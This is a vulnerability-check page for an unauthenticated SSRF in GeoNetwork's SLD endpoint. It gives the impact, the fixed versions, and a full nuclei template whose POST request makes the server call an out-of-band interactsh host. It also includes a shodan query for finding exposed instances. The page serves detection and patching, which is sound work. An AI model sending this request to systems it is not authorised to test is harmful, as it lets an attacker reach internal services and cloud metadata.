GeoNetwork - Server-Side Request Forgery (SSRF)

highseverity

8.6CVSS score

1.4%likelihood of exploitation, next 30 days

74%of all CVEs are less likely

Readycheck to confirm it

GeoNetwork versions 4.0.0 to 4.2.16 and 4.4.0 to 4.4.11 are vulnerable to an unauthenticated server-side request forgery (SSRF) in the SLD tool. The POST /srv/api/tools/ogc/sld endpoint accepts a caller-supplied WMS server URL and performs a server-side HTTP GetStyles request to it without any validation, allowing an anonymous attacker to make the server issue arbitrary outbound HTTP requests to internal services and read XML responses back.

Impact

An unauthenticated attacker can coerce the GeoNetwork server into sending HTTP requests to internal hosts, enabling internal service interaction, cloud metadata access, and reconnaissance of the internal network from an anonymous position.

Fix

Upgrade GeoNetwork to version 4.2.17, 4.4.12, or later.

How to confirm it

Send: GET /srv/eng/catalog.search
Positive when: contains "ng-app=\"gn_search" and "/geonetwork/static/" AND status 200
Send: POST /srv/api/tools/ogc/sld
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2026-55864 -u <target>

The full check

id: CVE-2026-55864

info:
  name: GeoNetwork - Server-Side Request Forgery (SSRF)
  author: ashish-cybersec
  severity: high
  description: |
    GeoNetwork versions 4.0.0 to 4.2.16 and 4.4.0 to 4.4.11 are vulnerable to an unauthenticated server-side request forgery (SSRF) in the SLD tool. The POST /srv/api/tools/ogc/sld endpoint accepts a caller-supplied WMS server URL and performs a server-side HTTP GetStyles request to it without any validation, allowing an anonymous attacker to make the server issue arbitrary outbound HTTP requests to internal services and read XML responses back.
  impact: |
    An unauthenticated attacker can coerce the GeoNetwork server into sending HTTP requests to internal hosts, enabling internal service interaction, cloud metadata access, and reconnaissance of the internal network from an anonymous position.
  remediation: |
    Upgrade GeoNetwork to version 4.2.17, 4.4.12, or later.
  reference:
    - https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-5hx7-j24v-rffj
    - https://github.com/geonetwork/core-geonetwork/pull/9343
    - https://nvd.nist.gov/vuln/detail/CVE-2026-55864
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2026-55864
    epss-score: 0.01446
    epss-percentile: 0.73527
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 2
    vendor: geonetwork
    product: core-geonetwork
    framework: java
    shodan-query: html:"/srv/eng/"
  tags: cve,cve2026,geonetwork,ssrf,oast,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /srv/eng/catalog.search HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: xsrf
        part: header
        internal: true
        group: 1
        regex:
          - 'XSRF-TOKEN=([0-9a-f-]+)'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'ng-app="gn_search'
          - '/geonetwork/static/'
        condition: and
        internal: true

      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        POST /srv/api/tools/ogc/sld HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept: text/plain
        Cookie: XSRF-TOKEN={{xsrf}}
        X-XSRF-TOKEN: {{xsrf}}

        url=http://{{interactsh-url}}&layers=nuclei&filters={}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from